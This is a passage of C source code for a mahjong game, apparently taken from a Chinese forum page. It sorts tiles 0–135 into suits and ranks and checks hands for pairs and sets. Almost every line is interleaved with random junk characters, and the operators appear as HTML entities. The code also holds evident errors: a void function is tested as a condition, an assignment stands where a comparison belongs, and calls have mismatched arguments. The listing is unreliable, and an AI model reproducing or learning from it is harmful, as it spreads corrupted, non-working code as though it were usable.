7 [& {$ q6 M& t8 C7 u; Y& g) z$ X4 @logoo=5;7 x0 t8 q- H6 G: ], L1 R2 Y
else if(computer.pp[c].number&lt;=59 &amp;&amp; computer.pp[c].number&gt;=56)2 w' r( g4 I! {9 l2 ~+ m
logoo=6;
$ @) ^$ q' D; {+ a5 V! l; A! Oelse if(computer.pp[c].number&lt;=63 &amp;&amp; computer.pp[c].number&gt;=60)# k4 t7 ]6 O& S  @* K
logoo=7;
0 U; C& G4 n, P* `else if(computer.pp[c].number&lt;=67 &amp;&amp; computer.pp[c].number&gt;=64)
  u3 u( N) h' j2 blogoo=8;
7 d# c! V8 y: r+ z& O( L7 `else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=68)
4 z  @) E5 P" T" }logoo=9;2 s5 Y5 J0 u2 f# L. l  i
}$ F0 m; X, C) Q6 R" h
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=72)+ W5 [; G- W+ Z& {$ [
{* {. B7 i6 W: H5 C) Q5 G
logo=3;
0 ]6 X" T9 W, b9 q/ h3 G5 t: I+ }* eif(computer.pp[c].number&lt;=75 &amp;&amp; computer.pp[c].number&gt;=72). m# Q. ^7 ]0 f+ Y% }# c# M" C
logoo=1;  V6 T- p4 m/ s" d& }; v: k
else if(computer.pp[c].number&lt;=79 &amp;&amp; computer.pp[c].number&gt;=76)- d7 R2 j* q& u/ J
logoo=2;. ~& B: Y; `: S) Y0 ~
else if(computer.pp[c].number&lt;=83 &amp;&amp; computer.pp[c].number&gt;=80)+ D% v% K0 [1 G) s& ^# T( t3 B
logoo=3;
& V$ E7 j) ]! V; Q2 H/ e3 k5 welse if(computer.pp[c].number&lt;=87 &amp;&amp; computer.pp[c].number&gt;=84)
  w# M3 i' s: P" p7 \logoo=4;
% u) w8 E! k0 g, Ielse if(computer.pp[c].number&lt;=91 &amp;&amp; computer.pp[c].number&gt;=88)
1 a! \( H, I8 b9 k1 f" qlogoo=5;% V6 ?$ Z5 }8 c/ l  R2 |
else if(computer.pp[c].number&lt;=95 &amp;&amp; computer.pp[c].number&gt;=92)4 p) e0 N: ~2 Y. I
logoo=6;: H3 E: B0 U( i* S  Q/ @, E2 c
else if(computer.pp[c].number&lt;=99 &amp;&amp; computer.pp[c].number&gt;=96)
( ]7 ^" f. P3 Z  R2 f, ologoo=7;- ~% o  Z" L$ _1 _4 q
else if(computer.pp[c].number&lt;=103 &amp;&amp; computer.pp[c].number&gt;=100)
% t" H$ h# Z# E; @logoo=8;
6 p9 j5 v# T1 I1 c8 V- pelse if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=104)
  E- S( L0 s, D4 k. g+ Ylogoo=9;
( Y* O/ B, S! t6 ~' c. |}- D3 D) ?, I; d
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=108)- J0 L/ Q1 F7 _  v4 c
{0 H. R0 ~% R* C$ ~2 j
logo=4;% ?- K1 v" M5 r, u9 A
if(computer.pp[c].number&lt;=111 &amp;&amp; computer.pp[c].number&gt;=108)' q, }. ?) H, o% D
logoo=1;
! D+ q8 \- f  b* ?2 Y$ `else if(computer.pp[c].number&lt;=115 &amp;&amp; computer.pp[c].number&gt;=112)5 k+ [9 W0 _8 J$ ^+ d, L9 g
logoo=2;/ B/ O  Z# E+ E. u9 i. M7 I) Q" c
else if(computer.pp[c].number&lt;=119 &amp;&amp; computer.pp[c].number&gt;=116)* T+ j# o& e+ L4 c. q+ |) ^
logoo=3;9 |( E  v2 e. n$ ]
else if(computer.pp[c].number&lt;=123 &amp;&amp; computer.pp[c].number&gt;=120)" y+ ?& _" U- J! R. B
logoo=4;
" @& P' n1 a5 f! E( Relse if(computer.pp[c].number&lt;=127 &amp;&amp; computer.pp[c].number&gt;=124)& S2 v9 }! y4 L1 t* e! M
logoo=5;  l0 t; ?. J" G1 u- J# H
else if(computer.pp[c].number&lt;=131 &amp;&amp; computer.pp[c].number&gt;=128)9 K# x, q* R4 m
logoo=6;
" ~; E$ |4 X' v  N! c. }6 T8 y# Nelse if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=132)0 q0 P7 c# U# |5 ~, M6 `
logoo=7;/ N1 C0 G. r) i/ `' ~# I2 ]
}
' r7 x- y/ b1 Dwhile(b&lt;=me.m)
2 ]6 J6 V5 {9 Y. ^: K{
; s5 D- N. P. h' m1 K  @if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=0) /*我分析后出了第一张牌*/
1 `! _2 e" ?, b& a' W$ ]/ b{1 ~0 f' M3 q3 ~. t3 @
lg=1;
( R- L, C% C3 U3 f) d$ Rme.pp.d[0]=1;
# l: f! F& ?: C. @& t! G2 aif(me.pp.number&lt;=3 &amp;&amp; me.pp.number&gt;=0)
+ d3 k1 Q  H! a# C{
# `0 C7 C3 B0 Q, G+ u* @' z$ `lgg=1;
- o* h" R. `6 \8 ~me.pp.d[1]=1;5 G  w" D3 t( w
}! j0 n, Q3 X3 |
else if(me.pp.number&lt;=7 &amp;&amp; me.pp.number&gt;=4)! i  S) ]) k7 B$ G+ k* E; k; @4 A( L
{
, w1 n* z' Z9 l, g6 ]lgg=2;% W* j' p9 c* r0 Z8 L# t$ p
me.pp.d[1]=2;
, b/ P: ]7 ^+ I* f* v' ~9 y6 ]}
7 h5 j& c% x) u7 D3 p. `- R+ uelse if(me.pp.number&lt;=11 &amp;&amp; me.pp.number&gt;=8)" A+ ^8 {% X2 J8 ^3 S
{- F( V5 B+ U+ Z/ I: d/ |
lgg=3;
1 k- h$ }5 v; t, ime.pp.d[1]=3;4 I- w* _+ s3 r7 T/ `
}6 C7 V) y. C7 g9 o
else if(me.pp.number&lt;=15 &amp;&amp; me.pp.number&gt;=12)
8 G' B2 v/ H+ D( [( J{; H1 `% {8 N% I/ ?8 P
lgg=4;4 J2 z, L9 q! Z
me.pp.d[1]=4;
3 N1 [+ z5 ], _. w! V3 ~}) G) v% ~8 @+ ^% Q" Q, ?* [
else if(me.pp.number&lt;=19 &amp;&amp; me.pp.number&gt;=16)2 N8 O. T# f. D- @9 A
{
6 u" Y5 j8 y" j& M! @8 R% Flgg=5;
% @6 u6 t' }' S0 Tme.pp.d[1]=5;
& k% t* A. w. g& P2 t}
: X9 B& x1 Z9 A7 x- r3 w! X- F* welse if(me.pp.number&lt;=23 &amp;&amp; me.pp.number&gt;=20)* r/ ]3 u3 ?) X8 B: R1 p6 Z
{6 S3 j6 s' |* }( {' G
lgg=6;* K) v( J" b5 U  i" b  X' v$ @
me.pp.d[1]=6;
/ x; Z7 D- _+ O8 m- o: e$ k}
& e% Z9 c. ~5 u% r, pelse if(me.pp.number&lt;=27 &amp;&amp; me.pp.number&gt;=24)
2 u- q" ?  @# L7 ~  }3 V  _4 a  s$ R{
" P' D: q2 Y2 N- J$ flgg=7;$ p' ?9 v3 }1 W& N/ n8 @6 ?$ x& o2 S
me.pp.d[1]=7;
& C4 R  n! t1 u3 X5 Z4 @8 T}% f" @+ i! s9 \' w" Z4 x! N
else if(me.pp.number&lt;=31 &amp;&amp; me.pp.number&gt;=28)
* K. {$ u' y( V0 B7 F7 J{. |: v" ^. l% }
lgg=8;& U8 k' K) j; L' N% F
me.pp.d[1]=8;
$ W+ t4 m6 [% R}* N; c% C" T3 |
else if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=32)
; b. @& l/ W) |& B1 C* w$ {6 ?{: E$ Y3 \& S. y! @
lgg=9;2 f8 W' G# o+ `! U/ I
me.pp.d[1]=9;6 O0 m) }5 j! T
}
. S3 o7 ?6 O0 B  q+ h6 @}+ _9 R; K7 c, j
else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=36). J4 F. c9 u+ a9 x
{& l5 @: C2 U+ U: S7 }3 i6 t
lg=2;
5 K/ k0 s! ^5 i0 Yme.pp.d[0]=2;
4 z$ M$ B4 i2 k: W. ^/ Z" Rif(me.pp.number&lt;=39 &amp;&amp; me.pp.number&gt;=36)
) v. Y6 l7 G2 o, G) l2 A( n{2 t% v. n9 t+ Z1 E5 R
lgg=1;2 i) c* a) H' N8 Z. A) \
me.pp.d[1]=1;5 A+ c2 i" A5 O
}
! I. t4 w5 A# ]0 \) _" g9 r4 q9 celse if(me.pp.number&lt;=43 &amp;&amp; me.pp.number&gt;=40)
3 l! Q- ]5 o, a& o# U{/ Q8 h0 i) t; R  z
lgg=2;
5 T! S! Z3 s' j7 n7 Wme.pp.d[1]=2;
' l0 x1 ~: }0 i}
& y- _! p$ H: w4 xelse if(me.pp.number&lt;=47 &amp;&amp; me.pp.number&gt;=44)
$ C8 t+ T! ?9 x! K{
# f* j1 Y+ k0 E* t- tlgg=3;
7 ~( F4 t6 o, i/ F& F, {0 Eme.pp.d[1]=3;! Y' X  k2 y' }% O% I
}
$ ~! R5 Q- e; P+ Zelse if(me.pp.number&lt;=51 &amp;&amp; me.pp.number&gt;=48)
" u" M' m( ~' S# F" g# @) F{- ^3 B2 c2 E7 [  X# Y  w5 Y" R
lgg=4;
# o" t  {4 t; l0 r3 r8 bme.pp.d[1]=4;
$ G, z1 R* i( N: W}, M2 p" n! [- Z% r/ C6 A
else if(me.pp.number&lt;=55 &amp;&amp; me.pp.number&gt;=52)4 H. f3 b) A' l6 r: f
{
* `# F8 t8 B4 F% a; a2 t9 `lgg=5;0 P  T# W6 {  w1 q8 p  ^; |" f$ r4 d) G
me.pp.d[1]=5;
- z( b- j1 d5 _+ j& y}& S4 o# o7 H2 i1 g, ?( d- Z
else if(me.pp.number&lt;=59 &amp;&amp; me.pp.number&gt;=56)% K( n4 E) `3 [% H
{
  R) ]6 Y6 Z% b) m1 ~# x& R, Algg=6;# A: a/ M- }; V5 i; P
me.pp.d[1]=6;+ f8 t0 D8 A) p7 Y/ J
}5 }/ {# R) F. e5 ^* |3 s0 S
else if(me.pp.number&lt;=63 &amp;&amp; me.pp.number&gt;=60)
: E1 ?6 U) O6 s/ Y! K. G. N, K{
+ Z/ X* ]# P: o! l9 Jlgg=7;3 q( i/ |& T, _4 S% x7 c) {
me.pp.d[1]=7;( M; _& R  }# p) t( k& i+ z
}0 k5 R8 F! q3 v) u( Z0 P
else if(me.pp.number&lt;=67 &amp;&amp; me.pp.number&gt;=64)
/ w8 s& p) |0 k! |* |{: j1 `2 \) j5 a9 f" s( K% [& H
lgg=8;, o2 U" U7 J& k& x6 Z
me.pp.d[1]=8;
  ~6 X. C$ }) q4 P}
1 C) d" X1 I7 f) a, aelse if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=68)0 U3 a+ W' {1 @9 q5 _
{) g  c8 k; Z: T
lgg=9;. w9 L  a4 T, l4 Y% ?4 M
me.pp.d[1]=9;; D- f$ c, A/ s4 X
}8 f% M( t0 [8 E3 |: O5 B9 X
}& u$ R5 w- T) c% I! D
else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=72)
+ @% C- h2 i! o, _5 j# e' [  s3 F4 Q{
& N6 D& ]! J- P+ F9 B4 A2 d  Ylg=3;  K/ P" w( o* [6 R* u
me.pp.d[0]=3;* ^/ J; w/ y; i" p9 J1 B/ |! R1 o
if(me.pp.number&lt;=75 &amp;&amp; me.pp.number&gt;=72)# H! j: t# m5 B, m# q* P
{+ v9 H& q) V6 d3 G  N
lgg=1;3 j5 t7 b& @0 d3 E
me.pp.d[1]=1;
: A9 i3 g: f5 ?9 i9 M9 U}6 [9 a2 ~4 ^& J' Z
else if(me.pp.number&lt;=79 &amp;&amp; me.pp.number&gt;=76)" m. x1 Z! l, F  c! C( x
{
2 o0 r+ {3 o1 n  j. G4 O, ilgg=2;3 b# ]) i* Z! M/ ^. W
me.pp.d[1]=2;" P6 r% ~% }; o" R7 p2 c
}
( G" B( a7 N/ }+ C; e, selse if(me.pp.number&lt;=83 &amp;&amp; me.pp.number&gt;=80)
* d0 e3 G1 F- D2 _7 g{6 x) N/ J  h6 L  D1 h" |
lgg=3;
' ]* I! r& ]& m7 B0 |me.pp.d[1]=3;
* Q9 ]7 a; o( d- B}/ m5 [/ C* D1 w- K+ ^
else if(me.pp.number&lt;=87 &amp;&amp; me.pp.number&gt;=84)  \" H8 o9 o; v
{1 u0 V7 U" o: {+ T8 z) {! P- b
lgg=4;
( Y: @1 G' O$ M, w3 X$ n1 Pme.pp.d[1]=4;
6 c, a* V/ n; @" L}& F: [/ S* I! {! Z4 R) X
else if(me.pp.number&lt;=91 &amp;&amp; me.pp.number&gt;=88)
& P/ f: f# Z8 k# {  B% Q{
6 X, K$ D; Z3 V9 Jlgg=5;( k; s9 j1 q' V. e( z' A+ x
me.pp.d[1]=5;3 R, p* C! ^; e. I+ c; M# a
}1 A: F& S1 {) N+ i
else if(me.pp.number&lt;=95 &amp;&amp; me.pp.number&gt;=92)/ H/ n& q, P! J: T$ I! t$ [2 a( {
{5 M/ V  F% V0 r: T- N3 k1 F
lgg=6;$ A: e( C% c- A5 _7 ?6 f
me.pp.d[1]=6;9 [, G6 J- n) k2 N0 R6 {
}
  Z' c4 P! k9 z. pelse if(me.pp.number&lt;=99 &amp;&amp; me.pp.number&gt;=96)
$ S" y0 N9 N' m* q{& {: U% }! Y" a* P! C; o5 C
lgg=7;
, J1 T3 H, J+ f8 mme.pp.d[1]=7;
! y. W0 B* h" G' U8 g}& W% b/ h% k* N# W+ V3 S
else if(me.pp.number&lt;=103 &amp;&amp; me.pp.number&gt;=100)7 ?" ^! V4 f5 q8 Y  K
{
+ a/ P9 G) P* N1 ?% Slgg=8;
7 _9 e: {* C1 @* n  w- V) Hme.pp.d[1]=8;
. [( Q- {+ [9 ?1 ]) }( s" E6 _}
$ F; M) J6 J5 `- E  }else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=104)8 s1 g: j9 k" m
{
' D+ j9 W. a7 D  I$ llgg=9;
+ o* w5 V- P: G+ _+ }* G5 ]3 h8 S3 ome.pp.d[1]=9;
$ ]# ?7 w* a$ L9 x0 z# s& O8 a5 G}3 V5 s. x6 j* E  E1 z
}  B5 |  \) s0 z5 T, K" }! X
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=108): Z/ g) B% P  X  W0 m: m) _
{* H& c1 v2 \! }% u& v# j
lg=4;2 q# I1 D) h/ @. j0 C3 S
me.pp.d[0]=4;
9 W7 V, i5 L2 H! a1 iif(me.pp.number&lt;=111 &amp;&amp; me.pp.number&gt;=108)$ _0 Q7 P8 f3 U8 g! K& j
{
. v. l9 u% Q& K! W" R/ X4 wlgg=1;
) \' Q; t* N8 \2 }9 R+ Wme.pp.d[1]=1;% T% ^1 i8 w* _, d# g
}
, \* y1 Y/ |# A  [else if(me.pp.number&lt;=115 &amp;&amp; me.pp.number&gt;=112)
: I# y/ g% i, ~( r3 P6 A{1 _' r4 B1 H: Q6 ?
lgg=2;+ Q5 G- |3 I( p1 N) l
me.pp.d[1]=2;
1 e- ^5 W2 A$ z% S* n) A/ a}' b: K. O" T7 G/ w' u3 M1 i
else if(me.pp.number&lt;=119 &amp;&amp; me.pp.number&gt;=116), ?; o* H, F+ f# K& x4 L
{  N0 \: w. F! {  ]9 g+ i( m* |& C% B
lgg=3;
6 g+ S$ N3 ]  ]9 U% zme.pp.d[1]=3;  s( l: d# @0 }& ~+ D8 M) N# @( Z
}, I9 I1 {9 R1 C5 q% N% k
else if(me.pp.number&lt;=123 &amp;&amp; me.pp.number&gt;=120)
! I7 n7 ~' k$ Y: Y$ |  a2 }2 [{/ O& m! j, d" G6 G- ]
lgg=4;
$ C2 |* X, M  P( h$ kme.pp.d[1]=4;
  h* _0 R2 e8 i! A5 k}. m+ |1 c8 n9 e, }7 [- o* P
else if(me.pp.number&lt;=127 &amp;&amp; me.pp.number&gt;=124)& }* f! ?( F9 a: m0 [
{3 a# I; ]% ]/ e5 d2 t$ a( |
lgg=5;
9 ~! X7 |% |9 ime.pp.d[1]=5;
# y! x! b0 {7 J+ b; a}5 ]$ p2 C8 v4 A
else if(me.pp.number&lt;=131 &amp;&amp; me.pp.number&gt;=128)7 g: r0 h# {  l2 C' v/ K
{& c9 L1 Q2 t* ?3 ]1 N# a' P
lgg=6;6 n# C( z1 J$ Y9 {5 d
me.pp.d[1]=6;
6 ~2 n3 [( N. ^0 q) S5 ]% @! \}
: J/ i+ U8 O3 ^; V. Pelse if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=132)
+ X' x, ], r4 T{3 G7 e* Z% Z3 j( P7 y8 O. G1 X6 R* j' Z
lgg=7;
7 b6 l+ J* J9 K  U: F* ume.pp.d[1]=7;
3 R9 x2 p; B0 ~% ?}3 L( f  D+ L; q. u
}
$ `# E1 H4 W6 }" a7 K0 N* h}
% {; J" C, ]# H. u' {}
+ o2 G- g4 E+ `, v+ V8 @+ a7 h0 h" wvoid istwo(testt)
/ [* i/ x8 w* M; N1 cint testt[];
" m# m+ U8 L: H1 v+ H{ if(testt[0]==testt[1])
3 y+ K) d' ]0 d3 ]/ lsecond++;0 p; c' O' j$ n# c3 d- t8 H# B1 R
}
0 W4 O! _2 n+ Y6 U" B, O% M. P! cvoid isthree(testt,n)' ~( `% q% r1 w4 _) ~! u1 }, Y
int testt[],n=0;
$ c; T7 E" k3 m  f# Y# l' G: c8 |. x( Z{ int i,j,flage=0,lianx=0,same=0;
4 ?" a5 v- C7 K8 L% en=n/3;+ j# F+ Z7 C) p. V6 ~4 ]
for(j=0;j&lt;n;j++)
) |2 z3 c5 Q2 f4 H3 R' N1 I{; K  I$ S& p5 w+ i9 t) K! n
for(i=j*3;i&lt;2+j*3;i++)
+ C6 S. O2 n6 F# ^8 o( ]; @{* Q# m! l0 w5 J; ]3 }
if(testt==testt[i+1])
. t/ c: C9 V1 K! Lsame++;
4 O+ R+ d3 {8 {0 Eif(testt[i+1]-testt==1)$ \8 R9 w  H- t: Q4 t1 O5 y
lianx++;
1 x( A# L$ N9 g% Z9 G( e' n1 G$ @}: ^' A; |; E9 y2 U( B$ e, G
if(same==2)
3 {/ r# d6 y  ^threes++;5 i! Z! P, o6 O# x) Q7 U0 Z; d) ^
if(lianx==2)( c3 r) P% Z% Z1 E' s+ Y
threes++;2 l- k# }& R$ {4 `, `& m
same=0;
1 b8 y0 T% A& Clianx=0;2 c1 v$ I2 z/ N3 S) r
}1 \4 w2 R+ i: V" p3 w# V0 q6 \
}
3 i) f* a" C' {2 {6 h# o: I& A; uvoid panduan() /*本程序的精髓*/
% c: p! J2 Z4 y+ b' j{int data[14];
, ~  D2 ^5 @& S& k& fint pw[14];9 _4 Q5 D; }- M# f3 \! S5 B) S, s
int pt[14];
) D( ^* F# g  x0 G5 j( ^int pi[14];  l* h$ g, r5 s0 V/ y: N
int pf[14];' y4 ^( ]8 I7 ~& J
int test[12];
; R! e, d( T4 _& a( B( D0 K0 J- [( Pint jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;- I2 \2 f- F4 j% ~% {/ m
for(jj=0;jj&lt;=me.m;jj++)
# W, K5 ^% Z/ |- W! G6 B$ f' ]9 S/ S{
8 b7 V* O7 ^& G$ m6 M4 D9 @, Pif(me.pp[jj].d[0]==1)
. s! X$ b6 G- [# F8 Y/ D6 `data[jj]=me.pp[jj].d[1];
% N3 _6 c4 i4 ]' ^' E; F+ Lif(me.pp[jj].d[0]==2)
0 u6 ^3 O" a' gdata[jj]=me.pp[jj].d[1]+10;8 x( w" q/ U7 W) |* m* O
if(me.pp[jj].d[0]==3)- b1 z5 l5 ?" Y+ w! t
data[jj]=me.pp[jj].d[1]+20;" y. c- k0 U% V1 A* A
if(me.pp[jj].d[0]==4)
) m5 I/ [4 g$ i6 h# C, V. qdata[jj]=me.pp[jj].d[1]+30;$ y; I3 i9 t8 r" o
}
& [) k; D+ s5 r; \+ C5 y+ Bif(logo==2)) q! [' \# n4 U) G8 B( g
w=logoo+10;3 o, _9 \$ P7 p$ v3 R' N8 e, ^
if(logo==3)2 Y, u5 K6 F# O0 c! i& B
w=logoo+20;' D0 q6 |4 r5 r# U1 c
if(logo==4)
; n/ u  M+ H+ e4 ?w=logoo+30;
, S3 J' ?- M5 I# o3 \/ B" Sdata[computer.m+1]=w;( v6 I8 N$ X4 ]# v" x( e
for(mm=0;mm&lt;=computer.m;mm++)$ [+ e2 T3 P! N; |. Q8 F2 f
for(nn=mm;nn&lt;=computer.m;nn++)6 V( j& g1 H7 g. g
if(data[mm]&gt;data[nn+1])) S% J& y' A5 J- [
{
$ u" H+ C* T4 Jtpp=data[mm];
& p, t, {) N$ c& Rdata[mm]=data[nn+1];& ~1 k; ]* A% Z9 s2 F2 s, H
data[nn+1]=tpp;
$ c- Q; g5 f7 U' t! I}
; |; o+ u: z% c2 V: z! Llp=0;& n4 K2 s- w" L( g' `+ U
while(lp&lt;=computer.m)
* `& Q( o: {  o3 }" A{ if(data[lp]&lt;10)
- ^) n3 q$ i- L- r# C6 wpw[ww++]=data[lp];  [; c6 o7 o, \) y1 @' I2 _7 N  j
if(data[lp]&gt;10 &amp;&amp; data[lp]&lt;20)# N8 M# \9 K  b: n1 U; ?' V
pt[tt++]=data[lp];
/ V+ B1 g- a) ?if(data[lp]&gt;20 &amp;&amp; data[lp]&lt;30)0 L1 N8 B1 a$ `* q0 R) Q: q
pi[ii++]=data[lp];2 ]" m" G$ H! a* j% d- a
if(data[lp]&gt;30 &amp;&amp; data[lp]&lt;38); h5 V: P2 r3 Y' `+ y8 ~5 m
pf[ff++]=data[lp];
0 i. N; x; F# Z* I  n9 |2 q( J; Blp++;' k$ {% B7 D- k  C6 O
}# \' J& |% t4 r( U' ^/ G1 e
if(ww==2)
6 K' _( ~# V  y3 y+ u0 a6 Listwo(pw);
! X+ G; S  S$ C0 t4 yelse if(ww==3)- K4 A( R5 [4 N# g
isthree(pw,ww);  m* I7 x* r9 D: d- z5 _4 e
else if(ww==5)
+ Y6 k4 N; f3 D5 Q4 g/*pw[5]原始牌数组,假设已经升序排列*/
; C: _6 }0 x* e$ s/*test[3]用来放置测试牌的数组*/: q7 _2 ^" U) v& P* f, B, S, }' P
for(i=0;i&lt;4;i++)
1 o" u0 Y  o% ?0 M, _# i{& I# Z! J" Y% u8 Z8 \5 @* H
for(j=0;j&lt;2;j++)
: x) M  E3 e$ A9 C- f, [; b{test[j]=pw[i+j];
4 L: a) ]1 @" l0 d0 g}: y5 \* C, I8 V+ c% E8 O
if(istwo(test))
( g: e( h* p6 w& X{ ill=0;- F4 n1 \% \+ t
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/, Z* t5 r/ U+ @$ ?8 X2 i* K: J! {: I
{if(kl==i)
% O9 A# H( c) y7 i{
( C! v1 b( O1 E! k5 @/ s- Qkl=kl+2;
8 N" O: U( V% l# M% ^% `if(kl==5)7 s+ W% b/ }- ]) O7 b4 g$ ~
break;9 G, o. {$ z# w! m
}
; j2 q, S$ L# Z; U, u# e0 Q; jtest[ill++]=pw[kl];
% I4 r; a8 i' d4 y: U" I3 L) q}
+ ]0 e" i) s" l; j3 Y) e6 |' {4 W; Oisthree(test);  X( X+ z$ l' r$ o0 J
}, r* d7 w0 t3 O8 y0 @* g7 |
}
: X# z- d- j' [. B9 U; n$ Melse if(ww==6)
8 D. ^; I0 I4 m# C; T( _9 X  s% tisthree(pw,ww);
: L6 |9 _/ {! o5 eelse if(ww==8)
% t  K# o2 F' S3 z1 @" l2 Zfor(i=0;i&lt;7;i++)
# ~5 F$ j0 }2 ]* h- f& m, N! N9 E{+ Q0 a5 g# a- X# ~- P2 z  ~6 h7 {/ N
for(j=0;j&lt;2;j++)0 Z* O+ J% ]! H5 Q% M
{test[j]=pw[i+j]; 7 r7 l, K0 ^7 D; g- K( T, ~
}
. {* z7 J& F) Q0 S: o# mif(istwo(test))
. R5 P0 g- z5 ]5 I' G{ ill=0;
# U- n/ g2 n1 |5 [# Yfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
$ Y/ X% F/ s2 J! L( B4 z1 Q{if(kl==i)
8 Q1 U0 f' Y+ @. }4 L, E8 j4 p{/ e/ G5 |( ~6 X8 `
kl=kl+2;! U# U3 B2 R$ P/ L( n
if(kl==8)
9 H# b' u, B. g6 X6 O  m  j- \break;
+ s$ m$ i' ~; B9 A/ m}
3 f" K& v# {& R/ v% ^test[ill++]=pw[kl];
1 M8 `' g3 M+ Y' y1 ]}+ O2 B  C/ g+ N  R7 g' }
isthree(test,ww-2);
2 v9 Z' z1 y: h- V2 K& ~) I+ N}2 |* c! H; Q0 ^: w0 O4 U5 v
}
4 z: a. b4 e- ~$ N% {else if(ww==9)) c" Q8 e/ }/ n! I$ v/ j5 M
isthree(pw,ww);
, |$ }9 \, a, o5 U7 H# S- aelse if(ww==11)" J( |6 V% ?8 V  q# v
for(i=0;i&lt;10;i++)2 q2 R# A: d5 m  D
{
, q  q9 [0 ?; X* kfor(j=0;j&lt;2;j++)
$ i" ]: v' V, m: G{test[j]=pw[i+j]; " Z3 w1 ~0 g; y' Q
}* o( H+ k! n. Z
if(istwo(test))- D$ F( C, ?: f1 i( M
{ ill=0;9 ^5 x' ?- E) M9 T+ E0 L
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/, h1 B0 y3 n- e1 ^
{if(kl==i)7 N1 e3 v+ o# Q+ s
{
1 y. [8 G3 p! K( S/ y, z3 dkl=kl+2;( k1 G' W) |$ W* B" A  J
if(kl==11)
: W$ v- D& a# O4 @break;
' q' T" q: h0 ^( x}
7 T+ J" H  Q# G8 L7 M; c3 \5 Xtest[ill++]=pw[kl];2 i* A. n4 Y* e! n
}1 [4 t4 a; F' H8 u  l! e( C) U
isthree(test,ww-2);
- u  B" J0 |/ s: c2 J}" f% |& n/ b& C6 X* t- w4 ~
}
/ A+ Z. z' i% W3 P, N- V1 eelse if(ww=12)9 J5 N0 I0 Y9 P6 M! T+ R! \% p: a+ D
isthree(pw,ww);  J; k" Z2 o% d; z! i) ~
else if(ww=14)
* t1 I5 r$ J/ Y# ^) x3 Y/ [8 Ufor(i=0;i&lt;13;i++)
7 f, @& k: s2 g+ i4 L! M( O* k{
- L# K# S6 T0 m1 E( F8 Z: m5 efor(j=0;j&lt;2;j++)
! X8 B' }% t  ]# ~6 q{test[j]=pw[i+j];) n, U$ G4 q' o+ R& i: o) p
}. o4 a2 R% L% x) D
if(istwo(test))! x. @6 b; Z& D! Z  ^5 K1 k$ v# Q
{ ill=0;' R; _+ X: Y% p* _
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/9 ^$ t+ {- y! F* C' g$ r* H! @, Z
{if(kl==i)9 Q3 x7 ?$ g1 z+ I
{
- R; i7 s4 `& K2 }; b6 tkl=kl+2;+ e, Q# V. G, D$ O, h5 x. w& k3 T8 Z
if(kl==14)
) s7 b+ x9 S& c  m$ sbreak;) N) \% `0 n1 u, N7 b' `
}- b& b( O9 Z0 w, \2 S8 @
test[ill++]=pw[kl];5 Z# Z& x% K2 V$ r
}
! @0 j" N0 u! Eisthree(test,ww-2); ' m" J) E/ v  E5 k" V6 s0 ]: {3 c
}8 G3 ]  f: v8 b% v
}1 N6 C7 L; e( b& I
if(tt==2)* ?- @* F* X+ Y$ ^5 Q+ l
istwo(pt);
# k2 \5 R- e) Velse if(tt==3)
/ j; B. |( B' nisthree(pt,tt);; P9 r7 S3 N2 U* a/ L  ^" w; X$ S
else if(tt==5), a# T5 d) `  i0 y: d! V  |0 k* t
/*pt[5]原始牌数组,假设已经升序排列*/6 P* A6 ]1 d9 q$ b* }; N# I1 ?2 l% L$ V) H
/*test[3]用来放置测试牌的数组*/- N$ I+ ?' z" }: h0 g3 l, E
for(i=0;i&lt;4;i++)
" @. {8 c& W& p) z" }8 R9 i{2 V) s0 ?4 M- s" e/ d
for(j=0;j&lt;2;j++)( S+ U! W, Y8 L/ j' s6 L7 \
{test[j]=pt[i+j];
2 ]( Q' D  q, F1 ^}* a3 J! N; i4 w! m6 d- ?
if(istwo(test))  J7 W5 x- {, a  R7 R' \$ B* y$ D2 |
{ ill=0;; s' i  M, ]2 E2 S( C
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
) r* K9 h( ?3 L; O" l' L/ h{if(kl==i)
$ c/ {% {6 w- A1 j5 P3 H{9 T* i" s1 d- q8 P) u% d
kl=kl+2;
# e: G) e" t9 g" u$ f/ k5 l8 hif(kl==5)0 W. N. f/ K) S; W* \) y: d
break;
! ]4 q* D: b4 Q! Z% I, }}
" v2 g, u7 \! q6 F* k3 ftest[ill++]=pt[kl];, |* G, j5 P1 D. H  v& h9 ^
}! `! x8 d4 X: C
isthree(test);
* k$ s4 h& H- r+ @}- Y& J. B, a% ~# E6 u
}2 Z3 T# A# h- Z2 j
else if(tt==6)
7 b. q' ]1 u. F  Bisthree(pt,tt);
  \  }+ Y) r! _; l+ ?$ N; Q2 Gelse if(tt==8)
( ^" x8 a/ E- [for(i=0;i&lt;7;i++)6 M% W# |' o7 W4 d- Q4 q! z% e
{
, W# v& c- u" G4 O5 Z4 ^for(j=0;j&lt;2;j++)
/ S8 ]0 ?- u  D{test[j]=pt[i+j]; 9 x" u: M  U* M' c( c  z
}
! |- Y+ G4 R% P. X+ k: U- Q* Bif(istwo(test))
4 V4 v# Q4 Z' r5 l# M: [1 }& j1 H, t{ ill=0;
# k( q3 B/ t2 ifor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
9 N. ~! b# {& x{if(kl==i)
4 Z9 Y6 h0 c$ E7 p0 H{+ c! a/ K- J9 ]( l$ u1 y
kl=kl+2;  T9 r5 w! o7 V: B( A# l/ [6 _
if(kl==8)
